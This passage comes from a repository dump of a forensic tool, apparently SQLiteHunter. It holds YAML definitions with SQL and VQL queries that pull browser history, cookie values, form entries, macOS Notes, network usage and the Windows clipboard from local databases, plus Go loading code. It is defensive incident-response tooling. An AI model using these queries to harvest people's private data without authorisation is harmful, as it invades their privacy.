https://github.com/EricZimmerman/SQLECmd 5 | SQLiteIdentifyQuery: | 6 | SELECT count(*) AS `Check` 7 | FROM sqlite_master 8 | WHERE type='table' 9 | AND (name='moz_historyvisits' OR name='moz_bookmarks' 10 | OR name='moz_places' OR name='moz_inputhistory'); 11 | SQLiteIdentifyValue: 4 12 | Categories: 13 | - Firefox 14 | - Browser 15 | 16 | FilenameRegex: "places.sqlite" 17 | Globs: 18 | - "{{WindowsFirefoxProfiles}}/*/places.sqlite" 19 | - "{{LinuxFirefoxProfiles}}/places.sqlite" 20 | - "{{MacOSFirefoxProfiles}}/places.sqlite" 21 | 22 | Sources: 23 | - VQL: | 24 | LET BookmarkTypes <= dict(`1`="URL", `2`="Folder", `3`="Separator") 25 | SELECT ID, ParentID, 26 | get(item= BookmarkTypes, field=str(str=type), default="Unknown") AS Type, 27 | timestamp(epoch=dateAdded) AS DateAdded, 28 | timestamp(epoch=lastModified) AS LastModified, 29 | Position, Title, URL, ForeignKey, OSPath 30 | FROM Rows 31 | WHERE LastModified > DateAfter AND LastModified < DateBefore 32 | AND (Title, URL) =~ FilterRegex 33 | 34 | SQL: | 35 | SELECT 36 | Bookmarks.id AS ID, 37 | Bookmarks.parent AS ParentID, 38 | Bookmarks.type, 39 | Bookmarks.dateAdded, 40 | Bookmarks.lastModified, 41 | Bookmarks.position AS Position, 42 | Bookmarks.title AS Title, 43 | moz_places.url AS URL, 44 | Bookmarks.fk AS ForeignKey 45 | FROM moz_bookmarks AS Bookmarks 46 | LEFT JOIN moz_places ON Bookmarks.fk = moz_places.id 47 | ORDER BY Bookmarks.id ASC 48 | 49 | - name: Downloads 50 | VQL: | 51 | SELECT PlaceID, Content, 52 | timestamp(epoch=dateAdded) AS DateAdded, 53 | timestamp(epoch=lastModified) AS LastModified, 54 | OSPath 55 | FROM Rows 56 | WHERE LastModified > DateAfter AND LastModified < DateBefore 57 | AND Content =~ FilterRegex 58 | 59 | SQL: | 60 | SELECT 61 | moz_annos.place_id AS PlaceID, 62 | moz_annos.content AS Content, 63 | dateAdded, 64 | lastModified 65 | FROM moz_annos 66 | WHERE anno_attribute_id IN (1,2) 67 | ORDER BY moz_annos.dateAdded ASC 68 | 69 | - name: History 70 | VQL: | 71 | LET VisitType <= dict(`1`='TRANSITION_LINK', `2`='TRANSITION_TYPED', `3`='TRANSITION_BOOKMARK', 72 | `4`='TRANSITION_EMBED', `5`= 'TRANSITION_REDIRECT_PERMANENT', `6`='TRANSITION_REDIRECT_TEMPORARY', 73 | `7`='TRANSITION_DOWNLOAD', `8`='TRANSITION_FRAMED_LINK', `9`='TRANSITION_RELOAD') 74 | 75 | SELECT VisitID, FromVisitID, 76 | timestamp(epoch= last_visit_date) AS LastVisitDate, 77 | VisitCount, URL, Title, Description, 78 | get(item= VisitType, field=str(str=visit_type), default="Unknown") AS VisitType, 79 | Bool(Value=hidden) AS Hidden, 80 | Bool(Value=typed) AS Typed, 81 | Frecency, PreviewImageURL, OSPath 82 | FROM Rows 83 | WHERE LastVisitDate > DateAfter AND LastVisitDate < DateBefore 84 | AND (Title, URL, Description) =~ FilterRegex 85 | 86 | SQL: | 87 | SELECT 88 | moz_historyvisits.id AS VisitID, 89 | moz_historyvisits.from_visit AS FromVisitID, 90 | moz_places.last_visit_date, 91 | moz_places.visit_count AS VisitCount, 92 | moz_places.url AS URL, 93 | moz_places.title AS Title, 94 | moz_places.description AS Description, 95 | moz_historyvisits.visit_type, 96 | moz_places.hidden, 97 | moz_places.typed, 98 | moz_places.frecency AS Frecency, 99 | moz_places.preview_image_url AS PreviewImageURL 100 | FROM moz_places 101 | INNER JOIN moz_historyvisits ON moz_places.origin_id = moz_historyvisits.id 102 | ORDER BY moz_places.last_visit_date ASC 103 | -------------------------------------------------------------------------------- /definitions/Firefox_Cookies.yaml: -------------------------------------------------------------------------------- 1 | Name: Firefox Cookies 2 | Author: Andrew Rathbun 3 | Email: andrew.d.rathbun@gmail.com 4 | Reference: https://github.com/EricZimmerman/SQLECmd 5 | SQLiteIdentifyQuery: | 6 | SELECT count(*) AS `Check` 7 | FROM sqlite_master 8 | WHERE type='table' 9 | AND (name='moz_cookies'); 10 | SQLiteIdentifyValue: 1 11 | Categories: 12 | - Firefox 13 | - Browser 14 | 15 | FilenameRegex: "cookies.sqlite" 16 | Globs: 17 | - "{{WindowsFirefoxProfiles}}/*/cookies.sqlite" 18 | - "{{LinuxFirefoxProfiles}}/cookies.sqlite" 19 | - "{{MacOSFirefoxProfiles}}/cookies.sqlite" 20 | 21 | Sources: 22 | - VQL: | 23 | SELECT ID, Host, Name, Value, 24 | timestamp(epoch= creationTime) AS CreationTime, 25 | timestamp(epoch= lastAccessed) AS LastAccessedTime, 26 | timestamp(epoch= expiry) AS Expiration, 27 | Bool(Value= isSecure) AS IsSecure, 28 | Bool(Value= isHttpOnly) AS IsHTTPOnly, OSPath 29 | FROM Rows 30 | WHERE LastAccessedTime > DateAfter 31 | AND LastAccessedTime < DateBefore 32 | AND ( Name =~ FilterRegex OR Value =~ FilterRegex ) 33 | 34 | SQL: | 35 | SELECT 36 | moz_cookies.id AS ID, 37 | moz_cookies.host AS Host, 38 | moz_cookies.name AS Name, 39 | moz_cookies.value AS Value, 40 | moz_cookies.creationTime, 41 | moz_cookies.lastAccessed, 42 | moz_cookies.expiry, 43 | moz_cookies.isSecure, 44 | moz_cookies.isHttpOnly 45 | FROM moz_cookies 46 | ORDER BY moz_cookies.id ASC 47 | -------------------------------------------------------------------------------- /definitions/Firefox_Downloads.yaml: -------------------------------------------------------------------------------- 1 | Name: Firefox Downloads 2 | Author: Andrew Rathbun 3 | Email: andrew.d.rathbun@gmail.com 4 | Reference: https://github.com/EricZimmerman/SQLECmd 5 | SQLiteIdentifyQuery: | 6 | SELECT count(*) AS `Check` 7 | FROM sqlite_master 8 | WHERE type='table' 9 | AND (name='moz_downloads'); 10 | SQLiteIdentifyValue: 1 11 | Categories: 12 | - Firefox 13 | - Browser 14 | 15 | FilenameRegex: "downloads.sqlite" 16 | Globs: 17 | - "{{WindowsFirefoxProfiles}}/*/downloads.sqlite" 18 | - "{{LinuxFirefoxProfiles}}/downloads.sqlite" 19 | - "{{MacOSFirefoxProfiles}}/downloads.sqlite" 20 | 21 | Sources: 22 | - VQL: | 23 | SELECT ID, Name, MIMEType, Source, Target, 24 | timestamp(epoch= startTime) AS StartTime, 25 | timestamp(epoch= endTime) AS EndTime, 26 | timestamp(epoch= expiry) AS Expiration, 27 | CurrentBytes, MaxBytes, OSPath 28 | FROM Rows 29 | WHERE StartTime > DateAfter 30 | AND StartTime < DateBefore 31 | AND Name =~ FilterRegex 32 | 33 | SQL: | 34 | SELECT 35 | moz_downloads.id AS ID, 36 | moz_downloads.name AS Name, 37 | moz_downloads.mimeType AS MIMEType, 38 | moz_downloads.source AS Source, 39 | moz_downloads.target AS Target, 40 | startTime, 41 | endTime, 42 | moz_downloads.currBytes AS CurrentBytes, 43 | moz_downloads.maxBytes AS MaxBytes 44 | FROM moz_downloads 45 | ORDER BY moz_downloads.id ASC 46 | -------------------------------------------------------------------------------- /definitions/Firefox_Favicons.yaml: -------------------------------------------------------------------------------- 1 | Name: Firefox Favicons 2 | Author: Andrew Rathbun 3 | Email: andrew.d.rathbun@gmail.com 4 | Reference: https://github.com/EricZimmerman/SQLECmd 5 | SQLiteIdentifyQuery: | 6 | SELECT count(*) AS `Check` 7 | FROM sqlite_master 8 | WHERE type='table' 9 | AND (name='moz_icons' OR name='moz_icons_to_pages' OR name='moz_pages_w_icons'); 10 | SQLiteIdentifyValue: 3 11 | Categories: 12 | - Firefox 13 | - Browser 14 | 15 | FilenameRegex: "favicons.sqlite" 16 | Globs: 17 | - "{{WindowsFirefoxProfiles}}/*/favicons.sqlite" 18 | - "{{LinuxFirefoxProfiles}}/favicons.sqlite" 19 | - "{{MacOSFirefoxProfiles}}/favicons.sqlite" 20 | 21 | Sources: 22 | - VQL: | 23 | SELECT ID, PageURL, FaviconURL, 24 | timestamp(epoch= expire_ms) AS Expiration, 25 | OSPath 26 | FROM Rows 27 | SQL: | 28 | SELECT 29 | moz_icons.id AS ID, 30 | moz_pages_w_icons.page_url AS PageURL, 31 | moz_icons.icon_url AS FaviconURL, 32 | moz_icons.expire_ms 33 | FROM moz_icons 34 | INNER JOIN moz_icons_to_pages ON moz_icons.id = moz_icons_to_pages.icon_id 35 | INNER JOIN moz_pages_w_icons ON moz_icons_to_pages.page_id = moz_pages_w_icons.id 36 | ORDER BY moz_icons.expire_ms ASC 37 | -------------------------------------------------------------------------------- /definitions/Firefox_FormHistory.yaml: -------------------------------------------------------------------------------- 1 | Name: Firefox Form History 2 | Author: Andrew Rathbun 3 | Email: andrew.d.rathbun@gmail.com 4 | Reference: https://github.com/EricZimmerman/SQLECmd 5 | SQLiteIdentifyQuery: | 6 | SELECT count(*) AS `Check` 7 | FROM sqlite_master 8 | WHERE type='table' 9 | AND (name='moz_formhistory'); 10 | 11 | SQLiteIdentifyValue: 1 12 | Categories: 13 | - Firefox 14 | - Browser 15 | 16 | FilenameRegex: "formhistory.sqlite" 17 | Globs: 18 | - "{{WindowsFirefoxProfiles}}/*/formhistory.sqlite" 19 | - "{{LinuxFirefoxProfiles}}/formhistory.sqlite" 20 | - "{{MacOSFirefoxProfiles}}/formhistory.sqlite" 21 | 22 | Sources: 23 | - VQL: | 24 | SELECT ID, FieldName, Value, TimesUsed, 25 | timestamp(epoch= firstUsed) AS FirstUsed, 26 | timestamp(epoch= lastUsed) AS LastUsed, 27 | GUID, OSPath 28 | FROM Rows 29 | WHERE LastUsed > DateAfter AND LastUsed < DateBefore 30 | AND ( FieldName =~ FilterRegex OR Value =~ FilterRegex ) 31 | 32 | SQL: | 33 | SELECT 34 | id AS ID, 35 | fieldname AS FieldName, 36 | value AS Value, 37 | timesUsed AS TimesUsed, 38 | firstUsed, 39 | lastUsed, 40 | guid AS GUID 41 | FROM moz_formhistory 42 | ORDER BY id ASC 43 | -------------------------------------------------------------------------------- /definitions/InternetExplorer_WebCacheV01.yaml: -------------------------------------------------------------------------------- 1 | Name: IE or Edge WebCacheV01 2 | Categories: 3 | - Edge 4 | - InternetExplorer 5 | - Browser 6 | 7 | FilenameRegex: "WebCacheV01.dat" 8 | Globs: 9 | - C:/Users/*/AppData/Local/Microsoft/Windows/WebCache/WebCacheV01.dat 10 | 11 | Sources: 12 | - name: All Data 13 | VQL: | 14 | LET MatchingFiles = SELECT OSPath FROM Rows 15 | LET S = scope() 16 | 17 | LET Containers(OSPath) = SELECT Table 18 | FROM parse_ese_catalog(file=OSPath) 19 | WHERE Table =~ "Container_" 20 | GROUP BY Table 21 | 22 | LET AllHits(OSPath) = SELECT * FROM foreach(row={ 23 | SELECT * FROM Containers(OSPath=OSPath) 24 | }, query={ 25 | SELECT timestamp(winfiletime=ExpiryTime) AS ExpiryTime, 26 | timestamp(winfiletime=ModifiedTime) AS ModifiedTime, 27 | timestamp(winfiletime=AccessedTime) AS AccessedTime, 28 | S.Url AS Url, * 29 | FROM parse_ese(file=OSPath, table=Table) 30 | }) 31 | 32 | SELECT * FROM foreach(row=MatchingFiles, query={ 33 | SELECT * FROM AllHits(OSPath=OSPath) 34 | }) 35 | WHERE AccessedTime > DateAfter AND AccessedTime < DateBefore 36 | AND Url =~ FilterRegex 37 | 38 | 39 | - name: Highlights 40 | VQL: | 41 | SELECT * FROM foreach(row=MatchingFiles, query={ 42 | SELECT AccessedTime, ModifiedTime, ExpiryTime, Url 43 | FROM AllHits(OSPath=OSPath) 44 | }) 45 | WHERE AccessedTime > DateAfter AND AccessedTime < DateBefore 46 | AND Url =~ FilterRegex 47 | -------------------------------------------------------------------------------- /definitions/MacOS_Applications_Cache.yaml: -------------------------------------------------------------------------------- 1 | Name: MacOS Applications Cache 2 | Author: Wes Lambert - @therealwlambert 3 | Description: | 4 | Applications can use the NSURL cache to store specific data that is 5 | useful to the operation of the application in a `Cache.db` file on 6 | disk. The data contained within this file could potentially be 7 | useful to investigators or incident responders, such as URLs that 8 | were accessed, as well as data requested or returned. 9 | 10 | Reference: https://developer.apple.com/documentation/foundation/nsurl 11 | SQLiteIdentifyQuery: | 12 | SELECT count(*) AS `Check` 13 | FROM sqlite_master 14 | WHERE type='table' 15 | AND (name='cfurl_cache_response' OR name='cfurl_cache_blob_data' 16 | OR name='cfurl_cache_receiver_data'); 17 | SQLiteIdentifyValue: 3 18 | Categories: 19 | - MacOS 20 | 21 | FilenameRegex: "Cache.db" 22 | Globs: 23 | - "/Users/*/Library/Caches/*/Cache.db" 24 | 25 | Sources: 26 | - VQL: | 27 | SELECT 28 | time_stamp AS Timestamp, 29 | OSPath.Base AS Application, 30 | entry_ID AS EntryID, 31 | version AS Version, 32 | hash_value AS Hash, 33 | storage_policy AS StoragePolicy, 34 | request_key AS URL, 35 | plist(file=request_object, accessor="data") AS Request, 36 | plist(file=response_object, accessor="data") AS Response, 37 | partition AS Partition, 38 | OSPath 39 | FROM Rows 40 | WHERE Timestamp > DateAfter AND Timestamp < DateBefore 41 | AND Application =~ FilterRegex 42 | 43 | SQL: | 44 | SELECT cfurl_cache_response.entry_ID AS entry_ID, 45 | version, hash_value, storage_policy, request_key, 46 | time_stamp, partition, request_object, response_object 47 | FROM cfurl_cache_response 48 | INNER JOIN cfurl_cache_blob_data ON cfurl_cache_response.entry_ID = cfurl_cache_blob_data.entry_ID 49 | INNER JOIN cfurl_cache_receiver_data ON cfurl_cache_response.entry_ID = cfurl_cache_receiver_data.entry_ID 50 | -------------------------------------------------------------------------------- /definitions/MacOS_NetworkUsage.yaml: -------------------------------------------------------------------------------- 1 | Name: MacOS NetworkUsage 2 | Author: Wes Lambert - @therealwlambert 3 | Description: | 4 | On macOS, the NetUsage DB can provide various details around 5 | application network utilization. With this artifact, we can get an 6 | idea of what applications are utilizing the network for 7 | communications and to what degree. We can also identify if usage 8 | has occurred through a WIFI network or a wired network. 9 | 10 | More information about this database can be found here: 11 | 12 | http://www.mac4n6.com/blog/2019/1/6/network-and-application-usage-using-netusagesqlite-amp-datausagesqlite-ios-databases 13 | 14 | Reference: http://www.mac4n6.com/blog/2019/1/6/network-and-application-usage-using-netusagesqlite-amp-datausagesqlite-ios-databases 15 | SQLiteIdentifyQuery: | 16 | SELECT count(*) AS `Check` 17 | FROM sqlite_master 18 | WHERE type='table' 19 | AND (name='ZLIVEUSAGE' OR name='ZPROCESS'); 20 | SQLiteIdentifyValue: 2 21 | Categories: 22 | - MacOS 23 | 24 | FilenameRegex: "netusage.sqlite" 25 | Globs: 26 | - /private/var/networkd/netusage.sqlite 27 | - /private/var/networkd/db/netusage.sqlite 28 | 29 | Sources: 30 | - VQL: | 31 | SELECT timestamp(epoch= ZTIMESTAMP + 978307200) AS Timestamp, 32 | timestamp(epoch= ZFIRSTTIMESTAMP + 978307200) AS FirstTimestamp, 33 | timestamp(epoch= LIVE_USAGE_TIMESTAMP + 978307200) AS LiveUsageTimestamp, 34 | ZBUNDLENAME AS BundleID, 35 | ZPROCNAME AS ProcessName, 36 | ZWIFIIN AS WifiIn, 37 | ZWIFIOUT AS WifiOut, 38 | ZWWANIN AS WanIn, 39 | ZWWANOUT AS WandOut, 40 | ZWIREDIN AS WiredIn, 41 | ZWIREDOUT AS WiredOut, 42 | ZXIN AS _XIn, 43 | ZXOUT AS _XOut, 44 | Z_PK AS LiveUsageTableID 45 | FROM Rows 46 | 47 | SQL: | 48 | SELECT 49 | ZPROCESS.ZTIMESTAMP, 50 | ZPROCESS.ZFIRSTTIMESTAMP, 51 | ZLIVEUSAGE.ZTIMESTAMP AS LIVE_USAGE_TIMESTAMP", 52 | ZBUNDLENAME, 53 | ZPROCNAME, 54 | ZWIFIIN, 55 | ZWIFIOUT, 56 | ZWWANIN, 57 | ZWWANOUT, 58 | ZWIREDIN, 59 | ZWIREDOUT, 60 | ZXIN, 61 | ZXOUT, 62 | ZLIVEUSAGE.Z_PK, 63 | FROM ZLIVEUSAGE 64 | LEFT JOIN ZPROCESS ON ZPROCESS.Z_PK = ZLIVEUSAGE.ZHASPROCESS 65 | -------------------------------------------------------------------------------- /definitions/MacOS_Notes.yaml: -------------------------------------------------------------------------------- 1 | Name: MacOS Notes 2 | Author: Wes Lambert - @therealwlambert 3 | Description: | 4 | This artifact provides details about notes taken using the default 5 | Notes application on macOS. These notes can be useful during an 6 | investigation, especially if tied to interesting files. 7 | 8 | Deleted notes and attachments can also be recovered in some 9 | instances. 10 | 11 | The SQL query within this artifact was primarily derived from 12 | Yogesh Khatri's referenced blog post. 13 | 14 | NOTE: This artifact may not cover all attachments at this time, and 15 | there are many more great pieces of data to discover! More 16 | information can be found in the `ZICCLOUDSYNCINGOBJECT` table. 17 | 18 | Reference: http://www.swiftforensics.com/2018/02/reading-notes-database-on-macos.html 19 | 20 | SQLiteIdentifyQuery: | 21 | SELECT count(*) AS `Check` 22 | FROM sqlite_master 23 | WHERE type='table' 24 | AND (name='ZICNOTEDATA' OR name='ZICCLOUDSYNCINGOBJECT'); 25 | SQLiteIdentifyValue: 2 26 | Categories: 27 | - MacOS 28 | 29 | FilenameRegex: "NoteStore.sqlite|NotesV.+storedata" 30 | Globs: 31 | - /Users/*/Library/Containers/com.apple.Notes/Data/Library/Notes/NotesV*.storedata 32 | - /Users/*/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite 33 | 34 | Sources: 35 | - VQL: | 36 | SELECT Key AS _Key, 37 | OSPath[1] AS User, 38 | Note, 39 | Title, 40 | Snippet, 41 | NoteID AS _NoteID, 42 | timestamp(cocoatime=CreatedTS) AS CreatedTime, 43 | timestamp(cocoatime=LastOpenedDate) AS LastOpenedTime, 44 | timestamp(cocoatime=DirModificationDate) AS LastDirModifcation, 45 | Account AS _Account, 46 | Directory, 47 | DirectoryID, 48 | AttachmentName, 49 | AttachmentSize, 50 | AttachmentUUID, 51 | if(condition=AttachmentUUID, 52 | then=OSPath[:2] + '/Library/Group Containers/group.com.apple.notes/Accounts/LocalAccount/Media/' + AttachmentUUID + '/' + AttachmentName) AS AttachmentLocation, 53 | AccountName AS _AccountName, 54 | AccountID AS _AccountID, 55 | AccountType AS _AccountType, 56 | gunzip(string=Data) AS Data, 57 | OSPath 58 | FROM Rows 59 | WHERE LastOpenedTime > DateAfter AND LastOpenedTime < DateBefore 60 | AND ( Title =~ FilterRegex OR Data =~ FilterRegex ) 61 | 62 | SQL: | 63 | SELECT n.Z_PK AS Key, 64 | n.ZNOTE as Note, 65 | c1.ZTITLE1 as Title, 66 | c1.ZSNIPPET as Snippet, 67 | c1.ZIDENTIFIER as NoteID, 68 | c1.ZCREATIONDATE3 as CreatedTS, 69 | c1.ZFOLDERMODIFICATIONDATE AS DirModificationDate, 70 | c1.ZLASTOPENEDDATE AS LastOpenedDate, 71 | c2.ZACCOUNT3 as Account, 72 | c2.ZTITLE2 as Directory, 73 | c2.ZIDENTIFIER as DirectoryID, 74 | c4.ZFILENAME as AttachmentName, 75 | c3.ZFILESIZE as AttachmentSize, 76 | c4.ZIDENTIFIER as AttachmentUUID, 77 | c5.ZNAME as AccountName, 78 | c5.ZIDENTIFIER as AccountID, 79 | c5.ZACCOUNTTYPE as AccountType, 80 | n.ZDATA as Data 81 | FROM ZICNOTEDATA as n 82 | LEFT JOIN ZICCLOUDSYNCINGOBJECT as c1 ON c1.ZNOTEDATA = n.Z_PK 83 | LEFT JOIN ZICCLOUDSYNCINGOBJECT as c2 ON c2.Z_PK = c1.ZFOLDER 84 | LEFT JOIN ZICCLOUDSYNCINGOBJECT as c3 ON c3.ZNOTE= n.ZNOTE 85 | LEFT JOIN ZICCLOUDSYNCINGOBJECT as c4 ON c4.ZATTACHMENT1= c3.Z_PK 86 | LEFT JOIN ZICCLOUDSYNCINGOBJECT as c5 ON c5.Z_PK = c1.ZACCOUNT2 87 | ORDER BY Key 88 | -------------------------------------------------------------------------------- /definitions/MacOS_XProtect_Detections.yaml: -------------------------------------------------------------------------------- 1 | Name: MacOS XProtect Detections 2 | Author: Matt Green - @mgreen27 3 | Description: | 4 | This artifact provides details about XProtect detections on macOS. 5 | 6 | macOS includes built-in antivirus technology called XProtect for 7 | the signature-based detection and removal of malware. The system 8 | uses YARA and behavorial signatures. 9 | 10 | Reference: https://www.huntress.com/blog/dmxprotect-stop-drop-shut-malware-down-before-it-opens-up-shop 11 | 12 | SQLiteIdentifyQuery: | 13 | SELECT count(*) AS `Check` 14 | FROM sqlite_master 15 | WHERE type='table' 16 | AND name='events'; 17 | SQLiteIdentifyValue: 1 18 | 19 | Categories: 20 | - MacOS 21 | 22 | FilenameRegex: "XPdb" 23 | Globs: 24 | - "/private/var/protected/xprotect/XPdb" 25 | 26 | Sources: 27 | - VQL: | 28 | SELECT * 29 | FROM Rows 30 | WHERE dt > DateAfter 31 | AND dt < DateBefore 32 | AND (violated_rule, exec_path, responsible_path, responsible_signing_id, 33 | exec_cdhash, exec_sha256, responsible_cdhash, responsible_sha256 ) =~ FilterRegex 34 | 35 | SQL: | 36 | SELECT * FROM events 37 | -------------------------------------------------------------------------------- /definitions/Windows_ActivitiesCache.yaml: -------------------------------------------------------------------------------- 1 | Name: Windows Activities Cache 2 | Author: Eric Zimmerman 3 | Email: saericzimmerman@gmail.com 4 | Reference: https://github.com/EricZimmerman/SQLECmd 5 | SQLiteIdentifyQuery: | 6 | SELECT count(*) AS `Check` 7 | FROM sqlite_master 8 | WHERE type='table' 9 | AND (name='Activity' OR name='Activity_PackageId' OR name='ActivityOperation'); 10 | SQLiteIdentifyValue: 3 11 | Categories: 12 | - Windows 13 | 14 | FilenameRegex: "ActivitiesCache.db" 15 | Globs: 16 | - "C:/Users/*/AppData/Local/ConnectedDevicesPlatform/L.*/ActivitiesCache.db" 17 | 18 | Sources: 19 | - name: ActivityPackageId 20 | VQL: | 21 | SELECT format(format="%0X-%0X-%0X-%0X-%0X", args=[ 22 | ActivityId[0:4], ActivityId[4:6], ActivityId[6:8], 23 | ActivityId[8:10], ActivityId[10:] ]) AS ActivityId, 24 | Platform, PackageName, ExpirationTime, OSPath 25 | FROM Rows 26 | 27 | SQL: | 28 | Select ActivityId, Platform, PackageName, ExpirationTime 29 | FROM Activity_PackageId 30 | 31 | - name: Clipboard 32 | SQL: | 33 | SELECT * FROM ActivityOperation 34 | VQL: | 35 | SELECT 36 | CreatedTime, 37 | timestamp(epoch=LastModifiedTime) AS LastModifiedTime, 38 | timestamp(epoch=LastModifiedOnClient) AS LastModifiedOnClient, 39 | StartTime, 40 | EndTime, 41 | Payload, 42 | OSPath[1] AS User, 43 | base64decode(string=parse_json_array(data=ClipboardPayload)[0].content) AS ClipboardPayload, 44 | OSPath AS Path, 45 | Mtime 46 | FROM Rows 47 | WHERE StartTime > DateAfter 48 | AND StartTime < DateBefore 49 | AND ClipboardPayload =~ FilterRegex 50 | -------------------------------------------------------------------------------- /definitions/Windows_SearchService.yaml: -------------------------------------------------------------------------------- 1 | Name: Windows Search Service 2 | 3 | Description: | 4 | Analysis of the Windows search index database. See 5 | https://www.aon.com/cyber-solutions/aon_cyber_labs/windows-search-index-the-forensic-artifact-youve-been-searching-for/ 6 | 7 | Categories: 8 | - Windows 9 | 10 | FilenameRegex: "Windows.edb" 11 | Globs: 12 | - C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb 13 | 14 | Sources: 15 | - name: SystemIndex_Gthr 16 | VQL: | 17 | LET MatchingFiles = SELECT OSPath FROM Rows 18 | 19 | LET FormatTimeB(T) = timestamp(winfiletime=parse_binary( 20 | filename=T, accessor="data", struct="uint64b")) 21 | 22 | LET FormatTime(T) = timestamp(winfiletime=parse_binary( 23 | filename=T, accessor="data", struct="uint64")) 24 | 25 | LET FormatSize(T) = parse_binary( 26 | filename=T, accessor="data", struct="uint64") 27 | 28 | SELECT * FROM foreach(row=MatchingFiles, query={ 29 | SELECT ScopeID, DocumentID, SDID, 30 | FormatTimeB(T=LastModified) AS LastModified, 31 | FileName 32 | FROM parse_ese(file=OSPath, table= "SystemIndex_Gthr") 33 | }) 34 | WHERE LastModified > DateAfter AND LastModified < DateBefore 35 | AND FileName =~ FilterRegex 36 | 37 | - name: SystemIndex_GthrPth 38 | VQL: | 39 | SELECT * FROM foreach(row=MatchingFiles, query={ 40 | SELECT Scope, Parent, Name 41 | FROM parse_ese(file=OSPath, table= "SystemIndex_GthrPth") 42 | }) 43 | WHERE Name =~ FilterRegex 44 | 45 | - name: SystemIndex_PropertyStore 46 | VQL: | 47 | LET X = scope() 48 | 49 | -- The PropertyStore columns look like 50 | -- -ProperName so we strip the 51 | -- random part off to display it properly. 52 | LET FilterDict(Dict) = to_dict(item={ 53 | SELECT split(sep_string="-", string=_key)[1] || _key AS _key, _value 54 | FROM items(item=Dict) 55 | }) 56 | 57 | LET PropStore(OSPath) = SELECT *, 58 | FormatTime(T=X.System_Search_GatherTime) AS System_Search_GatherTime, 59 | FormatSize(T=X.System_Size) AS System_Size, 60 | FormatTime(T=X.System_DateModified) AS System_DateModified, 61 | FormatTime(T=X.System_DateAccessed) AS System_DateAccessed, 62 | FormatTime(T=X.System_DateCreated) AS System_DateCreated 63 | FROM foreach(row={ 64 | SELECT *, FilterDict(Dict=_value) AS _value 65 | FROM items(item={ 66 | SELECT * FROM parse_ese(file=OSPath, table="SystemIndex_PropertyStore") 67 | }) 68 | }, column="_value") 69 | 70 | SELECT * FROM foreach(row=MatchingFiles, query={ 71 | SELECT * 72 | FROM PropStore(OSPath=OSPath) 73 | }) 74 | WHERE System_DateAccessed > DateAfter AND System_DateAccessed < DateBefore 75 | 76 | - name: SystemIndex_PropertyStore_Highlights 77 | VQL: | 78 | SELECT * FROM foreach(row=MatchingFiles, query={ 79 | SELECT WorkID, 80 | System_Search_GatherTime, 81 | System_Size, 82 | System_DateModified, 83 | System_DateCreated, 84 | X.System_FileOwner AS System_FileOwner, 85 | X.System_ItemPathDisplay AS System_ItemPathDisplay, 86 | X.System_ItemType AS System_ItemType, 87 | X.System_FileAttributes AS System_FileAttributes, 88 | X.System_Search_AutoSummary AS System_Search_AutoSummary 89 | FROM PropStore(OSPath=OSPath) 90 | }) 91 | WHERE System_DateAccessed > DateAfter AND System_DateAccessed < DateBefore 92 | 93 | - name: BrowsingActivity 94 | VQL: | 95 | SELECT * FROM foreach(row=MatchingFiles, query={ 96 | SELECT X.ItemPathDisplay AS ItemPathDisplay, 97 | X.Activity_ContentUri AS Activity_ContentUri, 98 | X.Activity_Description AS Activity_Description 99 | FROM PropStore(OSPath=OSPath) 100 | WHERE Activity_ContentUri 101 | }) 102 | 103 | - name: UserActivityLogging 104 | VQL: | 105 | SELECT * FROM foreach(row=MatchingFiles, query={ 106 | SELECT X.System_ItemPathDisplay AS System_ItemPathDisplay, 107 | FormatTime(T=X.ActivityHistory_StartTime) AS ActivityHistory_StartTime, 108 | FormatTime(T=X.ActivityHistory_EndTime) AS ActivityHistory_EndTime, 109 | X.ActivityHistory_AppId AS ActivityHistory_AppId 110 | FROM PropStore(OSPath=OSPath) 111 | WHERE ActivityHistory_AppId 112 | }) 113 | WHERE ActivityHistory_StartTime > DateAfter 114 | AND ActivityHistory_StartTime < DateBefore 115 | -------------------------------------------------------------------------------- /definitions/globs.go: -------------------------------------------------------------------------------- 1 | package definitions 2 | 3 | import ( 4 | "regexp" 5 | "strings" 6 | 7 | "github.com/attachedbroo/SQLiteHunter/api" 8 | ) 9 | 10 | var ( 11 | templateRegex = regexp.MustCompile("\\{\\{.+\\}\\}") 12 | ) 13 | 14 | func ExpandGlobs(definition api.Definition, config_obj *api.ConfigDefinitions) []string { 15 | var res []string 16 | 17 | for _, glob := range definition.Globs { 18 | has_template := false 19 | 20 | // Expand each template into the glob 21 | templateRegex.ReplaceAllStringFunc(glob, 22 | func(in string) string { 23 | has_template = true 24 | subs, pres := config_obj.Globs[strings.Trim(in, "{}")] 25 | if !pres { 26 | res = append(res, glob) 27 | return "" 28 | } 29 | // Add a glob for each substitution 30 | for _, s := range subs { 31 | res = append(res, 32 | strings.ReplaceAll(glob, in, s)) 33 | } 34 | return "" 35 | }) 36 | 37 | // The glob has no template expansion in it just include it 38 | // literally. 39 | if !has_template { 40 | res = append(res, glob) 41 | } 42 | } 43 | 44 | return res 45 | } 46 | -------------------------------------------------------------------------------- /definitions/load.go: -------------------------------------------------------------------------------- 1 | package definitions 2 | 3 | import ( 4 | "fmt" 5 | "io/fs" 6 | "io/ioutil" 7 | "os" 8 | "path/filepath" 9 | "strings" 10 | 11 | "github.com/attachedbroo/SQLiteHunter/api" 12 | "gopkg.in/yaml.v2" 13 | ) 14 | 15 | func LoadDefinitions(root string) ([]api.Definition, error) { 16 | var definitions []api.Definition 17 | 18 | err := filepath.Walk(root, 19 | func(path string, d fs.FileInfo, err error) error { 20 | if err == nil && strings.HasSuffix(path, ".yaml") { 21 | var definition api.Definition 22 | fd, err := os.Open(path) 23 | if err != nil { 24 | fmt.Printf("Error processing %v: %v\n", path, err) 25 | return nil 26 | } 27 | 28 | data, err := ioutil.ReadAll(fd) 29 | if err != nil { 30 | fmt.Printf("Error processing %v: %v\n", path, err) 31 | return nil 32 | } 33 | 34 | err = yaml.Unmarshal(data, &definition) 35 | if err != nil { 36 | fmt.Printf("Error processing %v: %v\n", path, err) 37 | return err 38 | } 39 | definitions = append(definitions, definition) 40 | } 41 | return nil 42 | }) 43 | 44 | return definitions, err 45 | } 46 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/attachedbroo/SQLiteHunter 2 | 3 | go 1.20 4 | 5 | require ( 6 | github.com/Velocidex/ordereddict v0.0.0-20221110130714-6a7cb85851cd 7 | github.com/alecthomas/assert v1.0.0 8 | github.com/sebdah/goldie/v2 